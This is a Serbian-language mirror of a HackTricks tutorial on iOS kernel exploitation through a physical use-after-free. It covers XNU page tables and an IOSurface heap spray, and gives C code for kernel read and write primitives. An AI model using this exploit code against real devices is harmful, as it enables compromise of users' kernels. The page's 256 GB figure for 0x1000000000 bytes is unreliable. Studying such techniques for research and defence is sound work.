mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
208 lines
9.6 KiB
Markdown
208 lines
9.6 KiB
Markdown
# iOS Exploiting
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Fizičko korišćenje nakon oslobađanja
|
|
|
|
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploataciji koristeći ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
|
|
|
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**.
|
|
|
|
#### Nivoi tabela stranica u iOS-u
|
|
|
|
Tabele stranica su organizovane hijerarhijski u tri nivoa:
|
|
|
|
1. **L1 tabela stranica (Nivo 1)**:
|
|
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
|
|
* Pokriva **0x1000000000 bajtova** (ili **256 GB**) virtuelne memorije.
|
|
2. **L2 tabela stranica (Nivo 2)**:
|
|
* Unos ovde predstavlja manju oblast virtuelne memorije, specifično **0x2000000 bajtova** (32 MB).
|
|
* L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.
|
|
3. **L3 tabela stranica (Nivo 3)**:
|
|
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** stranicu memorije.
|
|
* L2 unos može ukazivati na L3 tabelu ako je potrebna detaljnija kontrola.
|
|
|
|
#### Mapiranje virtuelne u fizičku memoriju
|
|
|
|
* **Direktno mapiranje (Blok mapiranje)**:
|
|
* Neki unosi u tabeli stranica direktno **mapiraju opseg virtuelnih adresa** na kontiguitet fizičkih adresa (poput prečice).
|
|
* **Pokazivač na tabelu stranica deteta**:
|
|
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može ukazivati na **tabelu stranica deteta** na sledećem nivou (npr. L2).
|
|
|
|
#### Primer: Mapiranje virtuelne adrese
|
|
|
|
Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**:
|
|
|
|
1. **L1 tabela**:
|
|
* Kernel proverava unos L1 tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, prelazi na tu L2 tabelu.
|
|
2. **L2 tabela**:
|
|
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja dalje.
|
|
3. **L3 tabela**:
|
|
* Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne stranice memorije.
|
|
|
|
#### Primer mapiranja adrese
|
|
|
|
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, tada:
|
|
|
|
* Virtuelne adrese od **0x1000000000** do **0x1002000000** mapiraju se na fizičke adrese od **0x800004000** do **0x802004000**.
|
|
* Ovo je **blok mapiranje** na L2 nivou.
|
|
|
|
Alternativno, ako L2 unos ukazuje na L3 tabelu:
|
|
|
|
* Svaka 4 KB stranica u opsegu virtuelnih adresa **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli.
|
|
|
|
### Fizičko korišćenje nakon oslobađanja
|
|
|
|
**Fizičko korišćenje nakon oslobađanja** (UAF) se dešava kada:
|
|
|
|
1. Proces **alokira** neku memoriju kao **čitljivu i zapisivu**.
|
|
2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.
|
|
3. Proces **dealokira** (oslobađa) memoriju.
|
|
4. Međutim, zbog **greške**, kernel **zaboravlja da ukloni mapiranje** iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
|
|
5. Kernel može zatim **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, poput **kernel podataka**.
|
|
6. Pošto mapiranje nije uklonjeno, proces može i dalje **čitati i pisati** u ovu fizičku memoriju.
|
|
|
|
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
|
|
|
|
### Strategija eksploatacije: Heap Spray
|
|
|
|
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu **heap spray**:
|
|
|
|
1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji.
|
|
2. Svaki IOSurface objekat sadrži **magičnu vrednost** u jednom od svojih polja, što olakšava identifikaciju.
|
|
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata završio na oslobođenoj stranici.
|
|
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**.
|
|
|
|
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
|
|
|
### Korak-po-korak proces heap spray-a
|
|
|
|
1. **Spray IOSurface objekata**: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magična vrednost").
|
|
2. **Skeniraj oslobođene stranice**: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
|
|
3. **Čitaj/Piši kernel memoriju**: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvrše **arbitrarne čitanja i pisanja** u kernel memoriji. Ovo im omogućava:
|
|
* Da koriste jedno polje za **čitati bilo koju 32-bitnu vrednost** u kernel memoriji.
|
|
* Da koriste drugo polje za **pisanje 64-bitnih vrednosti**, postizajući stabilnu **kernel read/write primitivu**.
|
|
|
|
Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC za kasnije pretraživanje:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Pretražite **`IOSurface`** objekte na jednoj oslobođenoj fizičkoj stranici:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Postizanje Kernel Read/Write sa IOSurface
|
|
|
|
Nakon što preuzmemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za **arbitrarne kernel read i write operacije**.
|
|
|
|
**Ključna Polja u IOSurface**
|
|
|
|
IOSurface objekat ima dva ključna polja:
|
|
|
|
1. **Pokazivač na Broj Korišćenja**: Omogućava **32-bitno čitanje**.
|
|
2. **Pokazivač na Indeksirani Vremepečat**: Omogućava **64-bitno pisanje**.
|
|
|
|
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
|
|
|
|
#### 32-Bitno Kernel Čitanje
|
|
|
|
Da bismo izvršili čitanje:
|
|
|
|
1. Prepišite **pokazivač na broj korišćenja** da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.
|
|
2. Koristite `get_use_count` metodu da pročitate vrednost na toj adresi.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64-Bit Kernel Write
|
|
|
|
Da biste izvršili pisanje:
|
|
|
|
1. Prepišite **pokazivač indeksiranog vremenskog pečata** na ciljanu adresu.
|
|
2. Koristite metodu `set_indexed_timestamp` da biste napisali 64-bitnu vrednost.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Pregled Eksploatacije
|
|
|
|
1. **Pokreni Fizičku Upotrebu-Nakon-Oslobađanja**: Oslobođene stranice su dostupne za ponovnu upotrebu.
|
|
2. **Sprej IOSurface Objekata**: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
|
|
3. **Identifikuj Pristupačni IOSurface**: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
|
|
4. **Zloupotrebi Upotrebu-Nakon-Oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
|
|
|
|
Sa ovim primitivima, eksploatacija omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|